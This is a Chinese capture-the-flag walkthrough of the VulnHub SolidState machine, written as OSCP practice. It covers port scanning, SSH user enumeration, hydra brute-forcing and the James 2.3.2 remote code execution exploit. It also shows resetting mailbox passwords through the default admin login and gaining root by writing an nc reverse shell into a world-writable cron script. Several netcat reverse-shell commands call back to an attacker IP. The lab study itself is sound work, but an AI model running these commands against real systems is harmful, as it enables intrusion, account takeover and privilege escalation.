靶场官网:SolidState: 1[1]
实战思路:
-
主机发现
-
端口发现(服务、组件、版本)
-
漏洞发现(获取权限)
-
22端口/SSH服务
-
组件漏洞
-
口令漏洞
-
25端口/SMTP服务
-
组件漏洞
-
口令漏洞
-
4555端口/James-Admin服务
-
组件漏洞
-
口令漏洞
-
110端口/POP3服务
-
组件漏洞
-
口令漏洞
-
80端口/HTTP服务
-
组件漏洞
-
URL漏洞(目录、文件)
-
越权提权
-
01、sudo
-
02、perm
-
03、信息收集
-
04、cron
一、主机发现
本次攻击指定IP,不涉及主机发现过程。
二、端口发现(服务、组件、版本)
使用命令sudo -u root nmap 172.16.33.35 -n -Pn -p- --reason -sV -sC -O
获得主机开放的端口、提供的服务、使用的组件、组件的版本。
开放的端口 |
提供的服务 |
使用的组件 |
组件的版本 |
22/tcp |
ssh |
OpenSSH |
7.4p1 |
25/tcp |
smtp |
JAMES smtpd |
2.3.2 |
80/tcp |
http |
Apache httpd |
2.4.25 |
110/tcp |
pop3 |
JAMES pop3d |
2.3.2 |
119/tcp |
nntp |
JAMES nntpd |
? |
4555/tcp |
james-admin |
JAMES Remote Admin |
2.3.2 |
- |
os |
Debian Linux |
? |
三、漏洞发现(获取权限)
22端口/SSH服务
组件漏洞
使用命令searchsploit OpenSSH 7.4
,发现OpenSSH 7.4p1组件只有用户名枚举漏洞可以利用。
使用命令searchsploit -m 45233
将漏洞EXP复制到当前目录下。
使用命令python2 45233.py -h
查看EXP的参数,发现可以使用 --username USERNAME
参数指定单个要枚举的用户名。
使用命令
python2 45233.py 172.16.33.35 --username 用户名
枚举用户名,发现存在SSH用户root
和james
。
口令漏洞
基于前面拿到的SSH用户名,使用命令hydra -L user.txt -P /usr/share/seclists/Passwords/500-worst-passwords.txt 172.16.33.35 ssh
,未爆破出弱口令。
25端口/SMTP服务
组件漏洞
使用命令searchsploit JAMES smtpd
,未发现JAMES smtpd 2.3.2组件的Nday漏洞。但是使用命令searchsploit JAMES
,可以发现2.3.2版本的James Server存在RCE漏洞。
口令漏洞
基于前面拿到的SSH用户名,使用命令hydra -L user.txt -P /usr/share/seclists/Passwords/500-worst-passwords.txt 172.16.33.35 smtp
,未爆破出弱口令。
4555端口/James-Admin服务
组件漏洞
使用命令searchsploit -m 50347
和searchsploit -m 35513
将EXP复制到当前目录,优先使用已被验证过的35513,因为未被验证的EXP可能存在删库或后门等恶意代码。
使用命令python2 35513.py
执行EXP,提示需要输入目标的IP地址。使用命令python2 35513.py 172.16.33.35
执行EXP,提示payload投递成功,只要有人登录就会触发payload执行。
等了一会没啥变化,想到payload应该是无害化的,需要我们自定义恶意代码,主要是反弹shell,于是使用命令cat 35513.py
查看EXP内容。
将EXP中的payload改为payload = 'nc -nv 10.8.0.110 1234 -e /bin/bash &'
。
使用命令python2 35513-shell.py 172.16.33.35
重新执行EXP,使用命令nc -nvlp 1234
监听反弹shell的端口,等待有人登录触发payload执行,等了一会还是没啥变化。
看来这个靶机没有设置定时任务来模拟“有人登录”的情况呀,那么这个Nday漏洞就有点鸡肋了,我要是都能登录SSH服务了,还会需要这个反弹shell?
口令漏洞
前面EXP使用账号root
和密码root
登录4555端口的James-Admin服务,看来这里使用了默认的账号密码。使用命令nc 172.16.33.35 4555
连接James-Admin服务后,输入账号密码,成功登录。
使用命令help
查看James-Admin服务有什么功能,发现listusers
功能可以查看用户账号,setpassword [username]
功能可以修改用户密码,从而可以获得用户的账号密码,进而登录用户邮箱查看敏感信息。
一不做二不休,把所有用户的密码都改了,后续逐一登录POP3服务,查看邮件里的敏感信息,看看能不能找到SSH服务的账号密码。
110端口/POP3服务
组件漏洞
使用命令searchsploit JAMES pop3d
,未发现JAMES pop3d 2.3.2组件的Nday漏洞。
口令漏洞
既然前面已经修改过POP3服务的用户密码,这里就没必要爆破了。
使用命令telnet 172.16.33.35 110
连接POP3服务,使用命令USER 账号
输入账号,使用命令PASS 密码
输入密码,而从登录POP3服务。
使用命令LIST
查看邮件数量,使用命令RETR 序号
查看邮件内容,使用命令QUIT
退出POP3服务。
发现用户john
的邮箱有一封邮件,但是没啥敏感内容。
发现用户mindy
的邮箱有两封邮件,原来是新员工入职,管理员通过邮件发送了SSH服务的账号mindy
和密码P@55W0rd1!2@
。除此之外其它用户的邮箱都是空的,没有邮件。
使用命令ssh [email protected]
登录SSH服务后,发现命令行环境受限,是/bin/rbash
,环境变量也不完整,只有家目录下的。
重新使用参数-t "bash --noprofile"
登录SSH服务,可以强制分配伪终端,从而解决命令行受限问题。
80端口/HTTP服务
组件漏洞
使用命令searchsploit Apache httpd 2.4
,未发现Apache httpd 2.4.25组件的Nday漏洞。
使用Wappalyzer、FindSomething等插件识别网站组件,无有价值的收获。
URL漏洞(目录、文件)
01、手动浏览
访问首页http://172.16.33.35/
,在右上角的MENU
处发现有3个页面:index.html
、services.html
、about.html
。这三个页面引用了相同的Footer Section,里面包含Form表单,有SQLi和XSS的风险。
首先测试XSS漏洞,输入特殊字符串abcdefg
,在本次及后续请求的响应中,均未发现该特殊字符串,说明注入点没有回显,不存在XSS漏洞。
然后测试SQLi漏洞,分别输入单引号和双引号的闭合,并使用时间盲注payloadand sleep(5)#
,并未发现异常报错或延迟响应,说明可能不存在SQLi漏洞。
02、目录扫描
使用命令dirb http://172.16.33.35/
对网站目录和文件进行遍历,没有发现有价值的目录或文件。
03、模糊测试
基于目前已知信息,没有对网站的目录和文件进行FUZZ的必要。
04、信息收集
前面在Firefox翻找网站的流量全都走Burp Suite代理,在Burp Suite中使用HaE插件,但未发现敏感信息泄露。
四、越权提权
01、sudo
使用命令sudo -l
查看mindy用户的特权命令,发现没有sudo命令,提权失败。
02、perm
使用命令find / -perm -u=s -ls 2>/dev/null
查看特权程序,发现不少可以提权的命令,例如/usr/bin/pkexec
。
在GTFOBins[2]搜索pkexec的提权命令:
使用命令 sudo pkexec /bin/sh
进行提权,提示没有sudo命令,提权失败。
03、信息收集
使用命令ls -la
和cat 文件名
,发现家目录下并无有价值的文件。
使用命令ls -la /home/
和find /home/james/ -type f -ls 2>/dev/null
,发现james的家目录下也无有价值的文件。
04、cron
使用命令find /var/spool/cron/ -type f -ls 2>/dev/null
和find /etc/*cron* -type f -ls 2>/dev/null
,未发现计划任务,这有点反常。
使用命令find /var/spool/cron/ -type f -ls
和find /etc/*cron* -type f -ls
不隐藏报错,发现一个查询是没有权限,一个查询是不支持通配符*
。
逐个查询不支持通配符查询的计划任务文件,发现文件的other用户都是有read权限而无write权限。那可以看看这些计划任务文件中,是否引用了其它我们可以write的脚本文件,然后在那些脚本文件中写入提权代码来提权。
逐个查看这些计划任务文件,未发现引用了其它我们可以write的脚本文件。
使用命令find / -perm -0006 -type f ! -path "/proc/*" 2>/dev/null
,查看是否存在other用户有read和write权限的脚本文件或可执行程序,并假设这些文件会被高权限用户的计划任务调用,从而通过在这些文件中写入提权代码来提权。
发现/opt/tmp.py
脚本文件,内容是清空临时目录/tmp/*
。这种脚本文件很大概率会被作为计划任务执行,而非手动执行。那我们就看看运维人员是否粗心地用高权限用户的计划任务来调用这个脚本文件。
在疑似高权限用户的计划任务中会调用的脚本文件/opt/tmp.py
中写入提权代码(反弹shell)os.system('nc -nv 10.8.0.110 11135 -e /bin/bash &')
,并在本地窗口执行命令nc -nvlp 11135
等待计划任务执行。
稍等一会就获得了反弹shell,查看权限发现是高权限用户root,提权成功。
使用命令crontab -l
查看root用户的计划任务,发现每3分钟就会执行一次python /opt/tmp.py
命令,调用/opt/tmp.py
脚本文件来清空临时目录/tmp/*
。
参考资料
SolidState: 1: https://www.vulnhub.com/entry/solidstate-1,261/
[2]GTFOBins: https://gtfobins.github.io/
原文始发于微信公众号(OneMoreThink):靶场实战(6):OSCP备考之VulnHub SolidState
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论